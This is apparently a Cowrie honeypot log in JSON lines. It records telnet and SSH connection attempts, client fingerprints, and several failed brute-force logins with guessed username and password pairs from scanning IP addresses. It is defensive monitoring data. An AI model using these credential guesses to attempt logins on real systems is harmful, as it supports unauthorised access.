{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":55704,"dst_ip":"10.17.0.5","dst_port":23,"session":"797846a13778","protocol":"telnet","message":"New connection: 144.79.133.145:55704 (10.17.0.5:23) [session: 797846a13778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:48.898640Z"}
{"eventid":"cowrie.session.closed","duration":30.955193281173706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:49.012482Z","src_ip":"15.204.172.25","session":"53bda10df560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88427448272705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:49.115184Z","src_ip":"146.71.83.154","session":"6eb7ac28c9a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":39890,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f041b0b2e99","protocol":"telnet","message":"New connection: 51.222.46.37:39890 (10.17.0.5:23) [session: 2f041b0b2e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:49.715512Z"}
{"eventid":"cowrie.session.closed","duration":30.798943758010864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:49.775923Z","src_ip":"66.223.49.88","session":"8ffd6c5ae222","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751506090164185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:50.036410Z","src_ip":"64.150.184.17","session":"4e059108333c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630775213241577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:50.051722Z","src_ip":"35.246.154.4","session":"6cc90af3c5cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":42152,"dst_ip":"10.17.0.5","dst_port":23,"session":"a899e7c0c6eb","protocol":"telnet","message":"New connection: 216.55.143.160:42152 (10.17.0.5:23) [session: a899e7c0c6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:50.321194Z"}
{"eventid":"cowrie.session.closed","duration":30.469051599502563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:51.049973Z","src_ip":"15.204.172.25","session":"26f296aafd7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":39900,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fbad07dc715","protocol":"telnet","message":"New connection: 51.222.46.37:39900 (10.17.0.5:23) [session: 5fbad07dc715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:51.067210Z"}
{"eventid":"cowrie.session.closed","duration":30.914002895355225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:51.071983Z","src_ip":"64.150.184.17","session":"ca37160b2d90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7678062915802,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:51.076742Z","src_ip":"46.21.104.13","session":"06b42f7f1dce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81602716445923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:51.121054Z","src_ip":"216.55.143.160","session":"46b17a50ca42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004884719848633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:51.488213Z","src_ip":"159.65.156.231","session":"906b5f3820f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793695211410522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:51.539969Z","src_ip":"116.202.39.209","session":"88cb528f9ea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831422567367554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:52.047134Z","src_ip":"69.175.86.26","session":"d526851990ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812016248703003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:52.531036Z","src_ip":"116.202.39.209","session":"31ad39f42073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958646059036255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:53.130649Z","src_ip":"144.126.156.251","session":"1c7d3f4ca9f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.280686140060425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:54.032406Z","src_ip":"199.250.223.224","session":"da13ad7d62aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58810257911682,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:54.137868Z","src_ip":"66.116.235.126","session":"60c122b58497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931058168411255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:55.173163Z","src_ip":"185.29.9.236","session":"a0e4edacf834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":38568,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa9b39e868aa","protocol":"telnet","message":"New connection: 116.202.39.209:38568 (10.17.0.5:23) [session: aa9b39e868aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:55.714793Z"}
{"eventid":"cowrie.session.closed","duration":30.70474362373352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:56.106553Z","src_ip":"146.71.83.154","session":"521feaa453a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.126144647598267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:57.047164Z","src_ip":"146.71.83.154","session":"402b912a1e32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.180.156","src_port":50822,"dst_ip":"10.17.0.5","dst_port":23,"session":"be7882aa0c15","protocol":"telnet","message":"New connection: 164.92.180.156:50822 (10.17.0.5:23) [session: be7882aa0c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:57.222938Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":55954,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9bb32a76624","protocol":"ssh","message":"New connection: 34.39.58.191:55954 (159.203.135.109:22) [session: f9bb32a76624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:58.027490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:58.037979Z","src_ip":"34.39.58.191","session":"f9bb32a76624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:58.113101Z","src_ip":"34.39.58.191","session":"f9bb32a76624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.180.156","src_port":50838,"dst_ip":"10.17.0.5","dst_port":23,"session":"33fa0afdb843","protocol":"telnet","message":"New connection: 164.92.180.156:50838 (10.17.0.5:23) [session: 33fa0afdb843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:58.302164Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"password1","message":"login attempt [git/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:58.442927Z","src_ip":"34.39.58.191","session":"f9bb32a76624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.445616722106934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:59.071553Z","src_ip":"158.69.128.56","session":"9b0766638f9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.180.156","src_port":50846,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bd37c33c367","protocol":"telnet","message":"New connection: 164.92.180.156:50846 (10.17.0.5:23) [session: 9bd37c33c367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:59.232924Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:59.519819Z","src_ip":"34.39.58.191","session":"f9bb32a76624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":51308,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ee7604b51d","protocol":"telnet","message":"New connection: 116.202.39.209:51308 (10.17.0.5:23) [session: 93ee7604b51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:00.747096Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":51314,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd568122172","protocol":"telnet","message":"New connection: 116.202.39.209:51314 (10.17.0.5:23) [session: 7fd568122172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:00.752792Z"}
{"eventid":"cowrie.session.closed","duration":30.824620008468628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:01.116725Z","src_ip":"104.152.108.209","session":"f0868474c69a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002310037612915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:02.309854Z","src_ip":"66.223.49.88","session":"8c9e7466a405","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76425313949585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:02.354737Z","src_ip":"216.55.143.160","session":"dfd8eedfb849","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94369602203369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:02.662345Z","src_ip":"116.202.39.209","session":"cd7ce9331f97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92520833015442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:02.666629Z","src_ip":"116.202.39.209","session":"9c2ee03b99f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":51330,"dst_ip":"10.17.0.5","dst_port":23,"session":"31b73d2ad017","protocol":"telnet","message":"New connection: 116.202.39.209:51330 (10.17.0.5:23) [session: 31b73d2ad017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:03.730565Z"}
{"eventid":"cowrie.session.closed","duration":30.869060277938843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:04.613943Z","src_ip":"116.202.39.209","session":"aabdcd8bbdc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.244.210.29","src_port":36092,"dst_ip":"10.17.0.5","dst_port":23,"session":"5547fe39b9d0","protocol":"telnet","message":"New connection: 173.244.210.29:36092 (10.17.0.5:23) [session: 5547fe39b9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:06.168528Z"}
{"eventid":"cowrie.session.closed","duration":30.799778699874878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:09.552243Z","src_ip":"116.202.39.209","session":"b8dfe1e375c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":33632,"dst_ip":"10.17.0.5","dst_port":23,"session":"1430cdceb3d6","protocol":"telnet","message":"New connection: 74.115.209.253:33632 (10.17.0.5:23) [session: 1430cdceb3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:12.206604Z"}
{"eventid":"cowrie.session.closed","duration":31.26816964149475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:12.211852Z","src_ip":"144.79.133.145","session":"7b158faf47ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985926389694214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:13.037683Z","src_ip":"15.204.172.25","session":"c253d2bb72c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.353872299194336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:13.313519Z","src_ip":"144.79.133.145","session":"bb3e416d309a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":52030,"dst_ip":"159.203.135.109","dst_port":22,"session":"77a194316842","protocol":"ssh","message":"New connection: 43.160.206.186:52030 (159.203.135.109:22) [session: 77a194316842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:13.433734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:13.438662Z","src_ip":"43.160.206.186","session":"77a194316842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:13.684345Z","src_ip":"43.160.206.186","session":"77a194316842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":47658,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdcccd5ec7b4","protocol":"telnet","message":"New connection: 116.202.39.209:47658 (10.17.0.5:23) [session: bdcccd5ec7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:13.704770Z"}
{"eventid":"cowrie.session.closed","duration":30.456274271011353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:14.145057Z","src_ip":"66.116.235.126","session":"1b877d61722f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"123","message":"login attempt [testftp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:14.696909Z","src_ip":"43.160.206.186","session":"77a194316842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.730957984924316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:14.860725Z","src_ip":"51.222.46.37","session":"575df4ca3978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06903052330017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:15.038875Z","src_ip":"74.115.209.253","session":"4ba58f8f2b34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:15.946046Z","src_ip":"43.160.206.186","session":"77a194316842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":47662,"dst_ip":"10.17.0.5","dst_port":23,"session":"958893e6bac6","protocol":"telnet","message":"New connection: 116.202.39.209:47662 (10.17.0.5:23) [session: 958893e6bac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:16.787196Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3fc2c722ebc","protocol":"telnet","message":"New connection: 144.79.133.145:45056 (10.17.0.5:23) [session: c3fc2c722ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:16.817928Z"}
{"eventid":"cowrie.session.closed","duration":30.483410835266113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:17.173838Z","src_ip":"144.79.133.145","session":"e5fa122882eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":47668,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec6811a174d2","protocol":"telnet","message":"New connection: 116.202.39.209:47668 (10.17.0.5:23) [session: ec6811a174d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:17.729743Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":51470,"dst_ip":"10.17.0.5","dst_port":23,"session":"34c66d3d61fc","protocol":"telnet","message":"New connection: 69.175.86.26:51470 (10.17.0.5:23) [session: 34c66d3d61fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:17.786270Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52868,"dst_ip":"159.203.135.109","dst_port":22,"session":"be6c0e9d2ca7","protocol":"ssh","message":"New connection: 2.57.122.238:52868 (159.203.135.109:22) [session: be6c0e9d2ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:18.177469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:18.182353Z","src_ip":"2.57.122.238","session":"be6c0e9d2ca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:18.277918Z","src_ip":"2.57.122.238","session":"be6c0e9d2ca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:18.564523Z","src_ip":"2.57.122.238","session":"be6c0e9d2ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.248735189437866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:19.077006Z","src_ip":"15.204.172.25","session":"28d9e095281c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:19.662245Z","src_ip":"2.57.122.238","session":"be6c0e9d2ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.332454681396484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:20.047804Z","src_ip":"51.222.46.37","session":"2f041b0b2e99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31050992012024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:12:20.209048Z","src_ip":"144.79.133.145","session":"797846a13778","protocol":"telnet"}
